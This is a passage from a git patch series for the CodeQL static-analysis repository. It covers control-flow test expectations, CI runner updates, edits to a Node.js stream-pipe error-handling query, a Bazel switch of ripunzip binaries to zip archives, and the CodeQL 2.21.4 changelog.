test.rs:454:9:457:9 | match a { ... } | test.rs:455:13:455:25 | [match(false)] 1 \| 2 | 0 | +| test.rs:454:9:457:9 | match a { ... } | test.rs:455:13:455:25 | [match(true)] 1 \| 2 | 1 | | test.rs:455:13:455:25 | [match(true)] 1 \| 2 | test.rs:453:5:458:5 | enter fn or_pattern_3 | 1 | | test.rs:455:13:455:25 | [match(true)] 1 \| 2 | test.rs:455:13:455:25 | 2 | 0 | -| test.rs:455:13:455:25 | one_or_two!... | test.rs:455:13:455:25 | [match(false)] 1 \| 2 | 0 | -| test.rs:455:13:455:25 | one_or_two!... | test.rs:455:13:455:25 | [match(true)] 1 \| 2 | 1 | | test.rs:461:9:464:9 | match pair { ... } | test.rs:462:32:462:32 | _ | 0 | | test.rs:461:9:464:9 | match pair { ... } | test.rs:463:13:463:13 | _ | 1 | | test.rs:476:9:480:9 | match e { ... } | test.rs:477:32:477:32 | _ | 0 | diff --git a/rust/ql/test/library-tests/controlflow/CONSISTENCY/CfgConsistency.expected b/rust/ql/test/library-tests/controlflow/CONSISTENCY/CfgConsistency.expected deleted file mode 100644 index 495070e6de3c..000000000000 --- a/rust/ql/test/library-tests/controlflow/CONSISTENCY/CfgConsistency.expected +++ /dev/null @@ -1,7 +0,0 @@ -deadEnd -| test.rs:455:13:455:25 | one_or_two!... | -multipleSuccessors -| test.rs:455:13:455:25 | [match(false)] 1 \| 2 | no-match | test.rs:455:13:455:25 | one_or_two!... | -| test.rs:455:13:455:25 | [match(false)] 1 \| 2 | no-match | test.rs:456:13:456:13 | _ | -| test.rs:455:13:455:25 | [match(true)] 1 \| 2 | match | test.rs:455:13:455:25 | one_or_two!... | -| test.rs:455:13:455:25 | [match(true)] 1 \| 2 | match | test.rs:455:30:455:30 | 3 | diff --git a/rust/ql/test/library-tests/controlflow/Cfg.expected b/rust/ql/test/library-tests/controlflow/Cfg.expected index b51f42537d11..44dd60e915aa 100644 --- a/rust/ql/test/library-tests/controlflow/Cfg.expected +++ b/rust/ql/test/library-tests/controlflow/Cfg.expected @@ -1129,9 +1129,7 @@ edges | test.rs:455:13:455:25 | 2 | test.rs:455:13:455:25 | [match(false)] 1 \| 2 | no-match | | test.rs:455:13:455:25 | 2 | test.rs:455:13:455:25 | [match(true)] 1 \| 2 | match | | test.rs:455:13:455:25 | MacroPat | test.rs:455:13:455:25 | 1 | match | -| test.rs:455:13:455:25 | [match(false)] 1 \| 2 | test.rs:455:13:455:25 | one_or_two!... | no-match | | test.rs:455:13:455:25 | [match(false)] 1 \| 2 | test.rs:456:13:456:13 | _ | no-match | -| test.rs:455:13:455:25 | [match(true)] 1 \| 2 | test.rs:455:13:455:25 | one_or_two!... | match | | test.rs:455:13:455:25 | [match(true)] 1 \| 2 | test.rs:455:30:455:30 | 3 | match | | test.rs:455:30:455:30 | 3 | test.rs:454:9:457:9 | match a { ... } | | | test.rs:456:13:456:13 | _ | test.rs:456:18:456:18 | 4 | match | From b1afa6681cedcc3f8aa27b8b6a330796d07e5e07 Mon Sep 17 00:00:00 2001 From: Paolo Tranquilli Date: Mon, 2 Jun 2025 17:24:59 +0200 Subject: [PATCH 488/535] CI: remove deprecated `windows-2019` usage --- .github/workflows/build-ripunzip.yml | 2 +- .github/workflows/csharp-qltest.yml | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) diff --git a/.github/workflows/build-ripunzip.yml b/.github/workflows/build-ripunzip.yml index bd05313187cc..d4638ad56bd4 100644 --- a/.github/workflows/build-ripunzip.yml +++ b/.github/workflows/build-ripunzip.yml @@ -17,7 +17,7 @@ jobs: strategy: fail-fast: false matrix: - os: [ubuntu-22.04, macos-13, windows-2019] + os: [ubuntu-22.04, macos-13, windows-2022] runs-on: ${{ matrix.os }} steps: - uses: actions/checkout@v4 diff --git a/.github/workflows/csharp-qltest.yml b/.github/workflows/csharp-qltest.yml index c8683eec02dd..ef0b93c50c81 100644 --- a/.github/workflows/csharp-qltest.yml +++ b/.github/workflows/csharp-qltest.yml @@ -36,7 +36,7 @@ jobs: unit-tests: strategy: matrix: - os: [ubuntu-latest, windows-2019] + os: [ubuntu-latest, windows-latest] runs-on: ${{ matrix.os }} steps: - uses: actions/checkout@v4 From baac2eecb000f16ac4ed4c4fa31e029627a840d6 Mon Sep 17 00:00:00 2001 From: Paolo Tranquilli Date: Mon, 2 Jun 2025 17:30:34 +0200 Subject: [PATCH 489/535] Ripunzip: update default workflow versions --- .github/workflows/build-ripunzip.yml | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/.github/workflows/build-ripunzip.yml b/.github/workflows/build-ripunzip.yml index d4638ad56bd4..3e32b868985d 100644 --- a/.github/workflows/build-ripunzip.yml +++ b/.github/workflows/build-ripunzip.yml @@ -6,11 +6,11 @@ on: ripunzip-version: description: "what reference to checktout from google/runzip" required: false - default: v1.2.1 + default: v2.0.2 openssl-version: description: "what reference to checkout from openssl/openssl for Linux" required: false - default: openssl-3.3.0 + default: openssl-3.5.0 jobs: build: From 3cbc4142f06f87c28fa93db0de2fd1f1604752d9 Mon Sep 17 00:00:00 2001 From: Napalys Klicius Date: Mon, 2 Jun 2025 17:40:06 +0200 Subject: [PATCH 490/535] Update javascript/ql/src/Quality/UnhandledStreamPipe.ql Co-authored-by: Asger F --- javascript/ql/src/Quality/UnhandledStreamPipe.ql | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/javascript/ql/src/Quality/UnhandledStreamPipe.ql b/javascript/ql/src/Quality/UnhandledStreamPipe.ql index c88a3e622238..f2cdee85a213 100644 --- a/javascript/ql/src/Quality/UnhandledStreamPipe.ql +++ b/javascript/ql/src/Quality/UnhandledStreamPipe.ql @@ -242,7 +242,7 @@ private predicate hasErrorHandlerRegistered(PipeCall pipeCall) { /** * Holds if the pipe call uses `gulp-plumber`, which automatically handles stream errors. - * Gulp-plumber is a Node.js module that prevents pipe breaking caused by errors from gulp plugins. + * `gulp-plumber` returns a stream that uses monkey-patching to ensure all subsequent streams in the pipeline propagate their errors. */ private predicate hasPlumber(PipeCall pipeCall) { pipeCall.getDestinationStream().getALocalSource() = API::moduleImport("gulp-plumber").getACall() From 64f00fd0f2c8aa6dd4638240a9b04a62e95ee885 Mon Sep 17 00:00:00 2001 From: Napalys Klicius Date: Mon, 2 Jun 2025 17:41:27 +0200 Subject: [PATCH 491/535] Update javascript/ql/src/Quality/UnhandledStreamPipe.ql Co-authored-by: Asger F --- javascript/ql/src/Quality/UnhandledStreamPipe.ql | 14 ++++++-------- 1 file changed, 6 insertions(+), 8 deletions(-) diff --git a/javascript/ql/src/Quality/UnhandledStreamPipe.ql b/javascript/ql/src/Quality/UnhandledStreamPipe.ql index f2cdee85a213..863b62900b0c 100644 --- a/javascript/ql/src/Quality/UnhandledStreamPipe.ql +++ b/javascript/ql/src/Quality/UnhandledStreamPipe.ql @@ -122,20 +122,18 @@ class ErrorHandlerRegistration extends DataFlow::MethodCallNode { } /** - * Models flow relationships between streams and related operations. - * Connects destination streams to their corresponding pipe call nodes. - * Connects streams to their chainable methods. + * Holds if the stream in `node1` will propagate to `node2`. */ -private predicate streamFlowStep(DataFlow::Node streamNode, DataFlow::Node relatedNode) { +private predicate streamFlowStep(DataFlow::Node node1, DataFlow::Node node2) { exists(PipeCall pipe | - streamNode = pipe.getDestinationStream() and - relatedNode = pipe + node1 = pipe.getDestinationStream() and + node2 = pipe ) or exists(DataFlow::MethodCallNode chainable | chainable.getMethodName() = getChainableStreamMethodName() and - streamNode = chainable.getReceiver() and - relatedNode = chainable + node1 = chainable.getReceiver() and + node2 = chainable ) } From abd446ae77f22279383fd2ab92f44b2ca3967b8d Mon Sep 17 00:00:00 2001 From: Napalys Klicius Date: Mon, 2 Jun 2025 17:41:40 +0200 Subject: [PATCH 492/535] Update javascript/ql/src/Quality/UnhandledStreamPipe.ql Co-authored-by: Asger F --- javascript/ql/src/Quality/UnhandledStreamPipe.ql | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/javascript/ql/src/Quality/UnhandledStreamPipe.ql b/javascript/ql/src/Quality/UnhandledStreamPipe.ql index 863b62900b0c..d024a9c5fcdd 100644 --- a/javascript/ql/src/Quality/UnhandledStreamPipe.ql +++ b/javascript/ql/src/Quality/UnhandledStreamPipe.ql @@ -1,7 +1,7 @@ /** * @id js/nodejs-stream-pipe-without-error-handling * @name Node.js stream pipe without error handling - * @description Calling `pipe()` on a stream without error handling may silently drop errors and prevent proper propagation. + * @description Calling `pipe()` on a stream without error handling will drop errors coming from the input stream * @kind problem * @problem.severity warning * @precision high From 7198372ae5325207af56e7e161923633f42ea86b Mon Sep 17 00:00:00 2001 From: Napalys Klicius Date: Mon, 2 Jun 2025 17:41:55 +0200 Subject: [PATCH 493/535] Update javascript/ql/src/Quality/UnhandledStreamPipe.qhelp Co-authored-by: Asger F --- javascript/ql/src/Quality/UnhandledStreamPipe.qhelp | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/javascript/ql/src/Quality/UnhandledStreamPipe.qhelp b/javascript/ql/src/Quality/UnhandledStreamPipe.qhelp index 677bdbd4177c..4d14734f540c 100644 --- a/javascript/ql/src/Quality/UnhandledStreamPipe.qhelp +++ b/javascript/ql/src/Quality/UnhandledStreamPipe.qhelp @@ -11,7 +11,7 @@ In Node.js, calling the pipe() method on a stream without proper er

    -Instead of using pipe() with manual error handling, prefer using the pipeline function from the Node.js stream module. The pipeline function automatically handles errors and ensures proper cleanup of resources. This approach is more robust and eliminates the risk of forgetting to handle errors. +Instead of using pipe() with manual error handling, prefer using the pipeline function from the Node.js stream module. The pipeline function automatically handles errors and ensures proper cleanup of resources. This approach is more robust and eliminates the risk of forgetting to handle errors.

    If you must use pipe(), always attach an error handler to the source stream using methods like on('error', handler) to ensure that any errors during the streaming process are properly handled. From d43695c929701598bc78b19b17ba72fb78c1e2e7 Mon Sep 17 00:00:00 2001 From: Napalys Klicius Date: Mon, 2 Jun 2025 17:42:40 +0200 Subject: [PATCH 494/535] Update javascript/ql/src/Quality/UnhandledStreamPipe.qhelp Co-authored-by: Asger F --- javascript/ql/src/Quality/UnhandledStreamPipe.qhelp | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/javascript/ql/src/Quality/UnhandledStreamPipe.qhelp b/javascript/ql/src/Quality/UnhandledStreamPipe.qhelp index 4d14734f540c..22c59188408e 100644 --- a/javascript/ql/src/Quality/UnhandledStreamPipe.qhelp +++ b/javascript/ql/src/Quality/UnhandledStreamPipe.qhelp @@ -5,7 +5,7 @@

    -In Node.js, calling the pipe() method on a stream without proper error handling can lead to silent failures, where errors are dropped and not propagated downstream. This can result in unexpected behavior and make debugging difficult. It is crucial to ensure that error handling is implemented when using stream pipes to maintain the reliability of the application. +In Node.js, calling the pipe() method on a stream without proper error handling can lead to unexplained failures, where errors are dropped and not propagated downstream. This can result in unwanted behavior and make debugging difficult. To reliably handle all errors, every stream in the pipeline must have an error handler registered.

    From ae74edb0337f6604250bc8ed43eaf8dde8db3768 Mon Sep 17 00:00:00 2001 From: Napalys Klicius Date: Mon, 2 Jun 2025 17:53:54 +0200 Subject: [PATCH 495/535] Update javascript/ql/src/Quality/UnhandledStreamPipe.ql Co-authored-by: Asger F --- javascript/ql/src/Quality/UnhandledStreamPipe.ql | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/javascript/ql/src/Quality/UnhandledStreamPipe.ql b/javascript/ql/src/Quality/UnhandledStreamPipe.ql index d024a9c5fcdd..69280443a32e 100644 --- a/javascript/ql/src/Quality/UnhandledStreamPipe.ql +++ b/javascript/ql/src/Quality/UnhandledStreamPipe.ql @@ -141,7 +141,7 @@ private predicate streamFlowStep(DataFlow::Node node1, DataFlow::Node node2) { * Tracks the result of a pipe call as it flows through the program. */ private DataFlow::SourceNode destinationStreamRef(DataFlow::TypeTracker t, PipeCall pipe) { - t.start() and result = pipe.getALocalSource() + t.start() and result = pipe or exists(DataFlow::SourceNode prev | prev = destinationStreamRef(t.continue(), pipe) and From ddbe29a8e26e82e7b71c63f248a8e5d162a65937 Mon Sep 17 00:00:00 2001 From: Paolo Tranquilli Date: Mon, 2 Jun 2025 17:40:43 +0200 Subject: [PATCH 496/535] Ripunzip: update to 2.0.2 --- MODULE.bazel | 20 ++++++++++---------- misc/ripunzip/BUILD.bazel | 2 +- misc/ripunzip/BUILD.ripunzip.bazel | 11 +++++++++++ misc/ripunzip/ripunzip-Linux.zip | 3 +++ misc/ripunzip/ripunzip-Windows.zip | 3 +++ misc/ripunzip/ripunzip-linux | 3 --- misc/ripunzip/ripunzip-macOS.zip | 3 +++ misc/ripunzip/ripunzip-macos | 3 --- misc/ripunzip/ripunzip-windows.exe | 3 --- 9 files changed, 31 insertions(+), 20 deletions(-) create mode 100644 misc/ripunzip/BUILD.ripunzip.bazel create mode 100644 misc/ripunzip/ripunzip-Linux.zip create mode 100644 misc/ripunzip/ripunzip-Windows.zip delete mode 100755 misc/ripunzip/ripunzip-linux create mode 100644 misc/ripunzip/ripunzip-macOS.zip delete mode 100755 misc/ripunzip/ripunzip-macos delete mode 100755 misc/ripunzip/ripunzip-windows.exe diff --git a/MODULE.bazel b/MODULE.bazel index 764eb6abe72f..6c27900a9fbb 100644 --- a/MODULE.bazel +++ b/MODULE.bazel @@ -239,24 +239,24 @@ go_deps = use_extension("@gazelle//:extensions.bzl", "go_deps") go_deps.from_file(go_mod = "//go/extractor:go.mod") use_repo(go_deps, "org_golang_x_mod", "org_golang_x_tools") -lfs_files = use_repo_rule("//misc/bazel:lfs.bzl", "lfs_files") +lfs_archive = use_repo_rule("//misc/bazel:lfs.bzl", "lfs_archive") -lfs_files( +lfs_archive( name = "ripunzip-linux", - srcs = ["//misc/ripunzip:ripunzip-linux"], - executable = True, + src = "//misc/ripunzip:ripunzip-Linux.zip", + build_file = "//misc/ripunzip:BUILD.ripunzip.bazel", ) -lfs_files( +lfs_archive( name = "ripunzip-windows", - srcs = ["//misc/ripunzip:ripunzip-windows.exe"], - executable = True, + src = "//misc/ripunzip:ripunzip-Windows.zip", + build_file = "//misc/ripunzip:BUILD.ripunzip.bazel", ) -lfs_files( +lfs_archive( name = "ripunzip-macos", - srcs = ["//misc/ripunzip:ripunzip-macos"], - executable = True, + src = "//misc/ripunzip:ripunzip-macOS.zip", + build_file = "//misc/ripunzip:BUILD.ripunzip.bazel", ) register_toolchains( diff --git a/misc/ripunzip/BUILD.bazel b/misc/ripunzip/BUILD.bazel index 6575b692772b..fb33124f3b28 100644 --- a/misc/ripunzip/BUILD.bazel +++ b/misc/ripunzip/BUILD.bazel @@ -2,7 +2,7 @@ load("@rules_shell//shell:sh_binary.bzl", "sh_binary") alias( name = "ripunzip", - actual = select({"@platforms//os:" + os: "@ripunzip-" + os for os in ("linux", "windows", "macos")}), + actual = select({"@platforms//os:" + os: "@ripunzip-%s//:ripunzip" % os for os in ("linux", "windows", "macos")}), visibility = ["//visibility:public"], ) diff --git a/misc/ripunzip/BUILD.ripunzip.bazel b/misc/ripunzip/BUILD.ripunzip.bazel new file mode 100644 index 000000000000..e2832d1e2758 --- /dev/null +++ b/misc/ripunzip/BUILD.ripunzip.bazel @@ -0,0 +1,11 @@ +load("@bazel_skylib//rules:native_binary.bzl", "native_binary") + +native_binary( + name = "ripunzip", + src = glob(["ripunzip-*"])[0], + out = "ripunzip" + select({ + "@platforms//os:windows": ".exe", + "//conditions:default": "", + }), + visibility = ["//visibility:public"], +) diff --git a/misc/ripunzip/ripunzip-Linux.zip b/misc/ripunzip/ripunzip-Linux.zip new file mode 100644 index 000000000000..d5535b1f17fe --- /dev/null +++ b/misc/ripunzip/ripunzip-Linux.zip @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:411e5578af004e7be449b6945d50b0984efc3308fe42a0b5c9e82d4be38425e1 +size 4888352 diff --git a/misc/ripunzip/ripunzip-Windows.zip b/misc/ripunzip/ripunzip-Windows.zip new file mode 100644 index 000000000000..7ef76bfbb0d7 --- /dev/null +++ b/misc/ripunzip/ripunzip-Windows.zip @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:0c0bfe3d9c8a2236ecdb574839e83d54c50a019656d26d4d870e8ca26be083dd +size 1860383 diff --git a/misc/ripunzip/ripunzip-linux b/misc/ripunzip/ripunzip-linux deleted file mode 100755 index 356063894609..000000000000 --- a/misc/ripunzip/ripunzip-linux +++ /dev/null @@ -1,3 +0,0 @@ -version https://git-lfs.github.com/spec/v1 -oid sha256:b5e444b6efcb11e899ff932dc5846927dd78578d0889386d82aa21133e077fde -size 12423064 diff --git a/misc/ripunzip/ripunzip-macOS.zip b/misc/ripunzip/ripunzip-macOS.zip new file mode 100644 index 000000000000..e5038c11f907 --- /dev/null +++ b/misc/ripunzip/ripunzip-macOS.zip @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:dbfbcbcf8303db9ca74a8414312171eadcdb6b1b234b442b2938ee238372fc9d +size 4067990 diff --git a/misc/ripunzip/ripunzip-macos b/misc/ripunzip/ripunzip-macos deleted file mode 100755 index d80eeea06670..000000000000 --- a/misc/ripunzip/ripunzip-macos +++ /dev/null @@ -1,3 +0,0 @@ -version https://git-lfs.github.com/spec/v1 -oid sha256:e8ff604d47ec88c4a795d307dee9454771589e8bd0b9747c6f49d2a59081f829 -size 10632454 diff --git a/misc/ripunzip/ripunzip-windows.exe b/misc/ripunzip/ripunzip-windows.exe deleted file mode 100755 index 44727f650dbd..000000000000 --- a/misc/ripunzip/ripunzip-windows.exe +++ /dev/null @@ -1,3 +0,0 @@ -version https://git-lfs.github.com/spec/v1 -oid sha256:6e6b68c668a84d1232335524f9ca15dff61f7365ec16d57caa9763fda145f33d -size 4548096 From 2e5ce06a274e5abc043c13b5d5bac7acad374249 Mon Sep 17 00:00:00 2001 From: Florin Coada Date: Mon, 2 Jun 2025 17:06:40 +0100 Subject: [PATCH 497/535] Docs: Add changelog entry for CodeQL 2.21.4 release --- .../codeql-changelog/codeql-cli-2.21.4.rst | 187 ++++++++++++++++++ .../codeql-changelog/index.rst | 1 + 2 files changed, 188 insertions(+) create mode 100644 docs/codeql/codeql-overview/codeql-changelog/codeql-cli-2.21.4.rst diff --git a/docs/codeql/codeql-overview/codeql-changelog/codeql-cli-2.21.4.rst b/docs/codeql/codeql-overview/codeql-changelog/codeql-cli-2.21.4.rst new file mode 100644 index 000000000000..3603d345d71b --- /dev/null +++ b/docs/codeql/codeql-overview/codeql-changelog/codeql-cli-2.21.4.rst @@ -0,0 +1,187 @@ +.. _codeql-cli-2.21.4: + +========================== +CodeQL 2.21.4 (2025-06-02) +========================== + +.. contents:: Contents + :depth: 2 + :local: + :backlinks: none + +This is an overview of changes in the CodeQL CLI and relevant CodeQL query and library packs. For additional updates on changes to the CodeQL code scanning experience, check out the `code scanning section on the GitHub blog `__, `relevant GitHub Changelog updates `__, `changes in the CodeQL extension for Visual Studio Code `__, and the `CodeQL Action changelog `__. + +Security Coverage +----------------- + +CodeQL 2.21.4 runs a total of 449 security queries when configured with the Default suite (covering 165 CWE). The Extended suite enables an additional 128 queries (covering 33 more CWE). + +CodeQL CLI +---------- + +Deprecations +~~~~~~~~~~~~ + +* The :code:`clang_vector_types`, :code:`clang_attributes`, and :code:`flax-vector-conversions` command line options have been removed from the C/C++ extractor. These options were introduced as workarounds to frontend limitations in earlier versions of the extractor and are no longer needed when calling the extractor directly. + +Miscellaneous +~~~~~~~~~~~~~ + +* The build of Eclipse Temurin OpenJDK that is used to run the CodeQL CLI has been updated to version 21.0.7. + +Query Packs +----------- + +Minor Analysis Improvements +~~~~~~~~~~~~~~~~~~~~~~~~~~~ + +C/C++ +""""" + +* Added flow model for the :code:`SQLite` and :code:`OpenSSL` libraries. This may result in more alerts when running queries on codebases that use these libraries. + +C# +"" + +* The precision of the query :code:`cs/missed-readonly-modifier` has been improved. Some false positives related to static fields and struct type fields have been removed. +* The queries :code:`cs/password-in-configuration`, :code:`cs/hardcoded-credentials` and :code:`cs/hardcoded-connection-string-credentials` have been removed from all query suites. +* The precision of the query :code:`cs/gethashcode-is-not-defined` has been improved (false negative reduction). Calls to more methods (and indexers) that rely on the invariant :code:`e1.Equals(e2)` implies :code:`e1.GetHashCode() == e2.GetHashCode()` are taken into account. +* The precision of the query :code:`cs/uncontrolled-format-string` has been improved (false negative reduction). Calls to :code:`System.Text.CompositeFormat.Parse` are now considered a format like method call. + +Golang +"""""" + +* The query :code:`go/hardcoded-credentials` has been removed from all query suites. + +Java/Kotlin +""""""""""" + +* The query :code:`java/hardcoded-credential-api-call` has been removed from all query suites. + +JavaScript/TypeScript +""""""""""""""""""""" + +* The queries :code:`js/hardcoded-credentials` and :code:`js/password-in-configuration-file` have been removed from all query suites. + +Python +"""""" + +* The query :code:`py/hardcoded-credentials` has been removed from all query suites. + +Ruby +"""" + +* The query :code:`rb/hardcoded-credentials` has been removed from all query suites. + +Swift +""""" + +* The queries :code:`swift/hardcoded-key` and :code:`swift/constant-password` have been removed from all query suites. + +GitHub Actions +"""""""""""""" + +* The query :code:`actions/missing-workflow-permissions` is now aware of the minimal permissions needed for the actions :code:`deploy-pages`, :code:`delete-package-versions`, :code:`ai-inference`. This should lead to better alert messages and better fix suggestions. + +Language Libraries +------------------ + +Bug Fixes +~~~~~~~~~ + +C/C++ +""""" + +* Fixed a problem where :code:`asExpr()` on :code:`DataFlow::Node` would never return :code:`ArrayAggregateLiteral`\ s. +* Fixed a problem where :code:`asExpr()` on :code:`DataFlow::Node` would never return :code:`ClassAggregateLiteral`\ s. + +Ruby +"""" + +* Bug Fixes +* The Ruby printAst.qll library now orders AST nodes slightly differently: child nodes that do not literally appear in the source code, but whose parent nodes do, are assigned a deterministic order based on a combination of source location and logical order within the parent. This fixes the non-deterministic ordering that sometimes occurred depending on evaluation order. The effect may also be visible in downstream uses of the printAst library, such as the AST view in the VSCode extension. + +Breaking Changes +~~~~~~~~~~~~~~~~ + +C/C++ +""""" + +* Deleted the deprecated :code:`userInputArgument` predicate and its convenience accessor from the :code:`Security.qll`. +* Deleted the deprecated :code:`userInputReturned` predicate and its convenience accessor from the :code:`Security.qll`. +* Deleted the deprecated :code:`userInputReturn` predicate from the :code:`Security.qll`. +* Deleted the deprecated :code:`isUserInput` predicate and its convenience accessor from the :code:`Security.qll`. +* Deleted the deprecated :code:`userInputArgument` predicate from the :code:`SecurityOptions.qll`. +* Deleted the deprecated :code:`userInputReturned` predicate from the :code:`SecurityOptions.qll`. + +Swift +""""" + +* Deleted the deprecated :code:`parseContent` predicate from the :code:`ExternalFlow.qll`. +* Deleted the deprecated :code:`hasLocationInfo` predicate from the :code:`DataFlowPublic.qll`. +* Deleted the deprecated :code:`SummaryComponent` class from the :code:`FlowSummary.qll`. +* Deleted the deprecated :code:`SummaryComponentStack` class from the :code:`FlowSummary.qll`. +* Deleted the deprecated :code:`SummaryComponent` module from the :code:`FlowSummary.qll`. +* Deleted the deprecated :code:`SummaryComponentStack` module from the :code:`FlowSummary.qll`. +* Deleted the deprecated :code:`RequiredSummaryComponentStack` class from the :code:`FlowSummary.qll`. + +Minor Analysis Improvements +~~~~~~~~~~~~~~~~~~~~~~~~~~~ + +C# +"" + +* The generated Models as Data (MaD) models for .NET 9 Runtime have been updated and are now more precise (due to a recent model generator improvement). + +JavaScript/TypeScript +""""""""""""""""""""" + +* Improved analysis for :code:`ES6 classes` mixed with :code:`function prototypes`, leading to more accurate call graph resolution. + +Python +"""""" + +* The Python extractor now extracts files in hidden directories by default. If you would like to skip files in hidden directories, add :code:`paths-ignore: ["**/.*/**"]` to your `Code Scanning config `__. If you would like to skip all hidden files, you can use :code:`paths-ignore: ["**/.*"]`. When using the CodeQL CLI for extraction, specify the configuration (creating the configuration file if necessary) using the :code:`--codescanning-config` option. + +Ruby +"""" + +* Captured variables are currently considered live when the capturing function exits normally. Now they are also considered live when the capturing function exits via an exception. + +Swift +""""" + +* Updated to allow analysis of Swift 6.1.1. +* :code:`TypeValueExpr` experimental AST leaf is now implemented in the control flow library + +Deprecated APIs +~~~~~~~~~~~~~~~ + +Java/Kotlin +""""""""""" + +* The predicate :code:`getValue()` on :code:`SpringRequestMappingMethod` is now deprecated. Use :code:`getAValue()` instead. +* Java now uses the shared :code:`BasicBlock` library. This means that the names of several member predicates have been changed to align with the names used in other languages. The old predicates have been deprecated. The :code:`BasicBlock` class itself no longer extends :code:`ControlFlowNode` - the predicate :code:`getFirstNode` can be used to fix any QL code that somehow relied on this. + +New Features +~~~~~~~~~~~~ + +C/C++ +""""" + +* Added local flow source models for :code:`ReadFile`, :code:`ReadFileEx`, :code:`MapViewOfFile`, :code:`MapViewOfFile2`, :code:`MapViewOfFile3`, :code:`MapViewOfFile3FromApp`, :code:`MapViewOfFileEx`, :code:`MapViewOfFileFromApp`, :code:`MapViewOfFileNuma2`, and :code:`NtReadFile`. +* Added the :code:`pCmdLine` arguments of :code:`WinMain` and :code:`wWinMain` as local flow sources. +* Added source models for :code:`GetCommandLineA`, :code:`GetCommandLineW`, :code:`GetEnvironmentStringsA`, :code:`GetEnvironmentStringsW`, :code:`GetEnvironmentVariableA`, and :code:`GetEnvironmentVariableW`. +* Added summary models for :code:`CommandLineToArgvA` and :code:`CommandLineToArgvW`. +* Added support for :code:`wmain` as part of the ArgvSource model. + +Shared Libraries +---------------- + +Breaking Changes +~~~~~~~~~~~~~~~~ + +Static Single Assignment (SSA) +"""""""""""""""""""""""""""""" + +* Adjusted the Guards interface in the SSA data flow integration to distinguish :code:`hasBranchEdge` from :code:`controlsBranchEdge`. Any breakage can be fixed by implementing one with the other as a reasonable fallback solution. diff --git a/docs/codeql/codeql-overview/codeql-changelog/index.rst b/docs/codeql/codeql-overview/codeql-changelog/index.rst index 2d2fd483aed1..be6d2582d6ec 100644 --- a/docs/codeql/codeql-overview/codeql-changelog/index.rst +++ b/docs/codeql/codeql-overview/codeql-changelog/index.rst @@ -11,6 +11,7 @@ A list of queries for each suite and language `is available here Date: Mon, 2 Jun 2025 18:20:29 +0200 Subject: [PATCH 498/535] Ripunzip: fix macos archive --- misc/ripunzip/ripunzip-macOS.zip | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/misc/ripunzip/ripunzip-macOS.zip b/misc/ripunzip/ripunzip-macOS.zip index e5038c11f907..c47a54d2c07f 100644 --- a/misc/ripunzip/ripunzip-macOS.zip +++ b/misc/ripunzip/ripunzip-macOS.zip @@ -1,3 +1,3 @@ version https://git-lfs.github.com/spec/v1 -oid sha256:dbfbcbcf8303db9ca74a8414312171eadcdb6b1b234b442b2938ee238372fc9d -size 4067990 +oid sha256:a1edacc510b44d35f926e7a682ea8efc1a7f28028cacf31f432e5b4b409a2d2b +size 4140891 From bf2f19da566dfe16c428144bad35a3398b6dd296 Mon Sep 17 00:00:00 2001 From: Napalys Klicius Date: Mon, 2 Jun 2025 19:02:48 +0200 Subject: [PATCH 499/535] Update UnhandledStreamPipe.ql Address comments Co-Authored-By: Asger F <316427+asgerf@users.noreply.github.com> --- javascript/ql/src/Quality/UnhandledStreamPipe.ql | 5 +++-- 1 file changed, 3 insertions(+), 2 deletions(-) diff --git a/javascript/ql/src/Quality/UnhandledStreamPipe.ql b/javascript/ql/src/Quality/UnhandledStreamPipe.ql index 69280443a32e..c2e18e9c577a 100644 --- a/javascript/ql/src/Quality/UnhandledStreamPipe.ql +++ b/javascript/ql/src/Quality/UnhandledStreamPipe.ql @@ -141,11 +141,12 @@ private predicate streamFlowStep(DataFlow::Node node1, DataFlow::Node node2) { * Tracks the result of a pipe call as it flows through the program. */ private DataFlow::SourceNode destinationStreamRef(DataFlow::TypeTracker t, PipeCall pipe) { - t.start() and result = pipe + t.start() and + (result = pipe or result = pipe.getDestinationStream().getALocalSource()) or exists(DataFlow::SourceNode prev | prev = destinationStreamRef(t.continue(), pipe) and - streamFlowStep(result.getALocalUse(), prev) + streamFlowStep(prev, result) ) or exists(DataFlow::TypeTracker t2 | result = destinationStreamRef(t2, pipe).track(t2, t)) From 23b6c78a236b0e23335ef9adeafed0d51e05e074 Mon Sep 17 00:00:00 2001 From: "REDMOND\\brodes" Date: Mon, 2 Jun 2025 13:07:31 -0400 Subject: [PATCH 500/535] Crypto: Revert CODEOWNERS change and remove redundant cast. --- CODEOWNERS | 1 - .../AlgorithmInstances/KeyAgreementAlgorithmInstance.qll | 2 +- 2 files changed, 1 insertion(+), 2 deletions(-) diff --git a/CODEOWNERS b/CODEOWNERS index 612a5e8a22ac..7233623d4528 100644 --- a/CODEOWNERS +++ b/CODEOWNERS @@ -18,7 +18,6 @@ # Experimental CodeQL cryptography **/experimental/**/quantum/ @github/ps-codeql /shared/quantum/ @github/ps-codeql -**/test/stubs/crypto/ @github/ps-codeql # CodeQL tools and associated docs /docs/codeql/codeql-cli/ @github/codeql-cli-reviewers diff --git a/cpp/ql/lib/experimental/quantum/OpenSSL/AlgorithmInstances/KeyAgreementAlgorithmInstance.qll b/cpp/ql/lib/experimental/quantum/OpenSSL/AlgorithmInstances/KeyAgreementAlgorithmInstance.qll index 698d031fe45d..c72b9a8e9254 100644 --- a/cpp/ql/lib/experimental/quantum/OpenSSL/AlgorithmInstances/KeyAgreementAlgorithmInstance.qll +++ b/cpp/ql/lib/experimental/quantum/OpenSSL/AlgorithmInstances/KeyAgreementAlgorithmInstance.qll @@ -35,7 +35,7 @@ class KnownOpenSSLHashConstantAlgorithmInstance extends OpenSSLAlgorithmInstance this instanceof Literal and exists(DataFlow::Node src, DataFlow::Node sink | // Sink is an argument to a CipherGetterCall - sink = getterCall.(OpenSSLAlgorithmValueConsumer).getInputNode() and + sink = getterCall.getInputNode() and // Source is `this` 